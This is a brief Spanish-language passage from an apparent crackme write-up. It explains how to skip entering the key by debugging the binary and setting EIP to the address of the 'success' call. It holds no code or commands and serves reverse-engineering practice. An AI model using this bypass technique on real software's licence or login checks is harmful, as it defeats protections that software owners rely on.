Una forma alternativa de obtener la clave (sin introducir el texto), es analizar la parte final del binario, en la que se aprecian tres caminos diferentes: que se haya presionado la tecla de salida (call seeyaaaa), que se haya introducido un carácter que no es el esperado (call game_over), o que se haya introducido la cadena esperada (call success).

Imagen

 

Por lo que si debugueamos el programa y modificamos el EIP por la dirección de memoria donde se llama a la función “success” (0x000000000040117B), obtendremos el mismo resultado. 

En breve publicaremos la solución de los otros 2 niveles 🙂

Saludos!!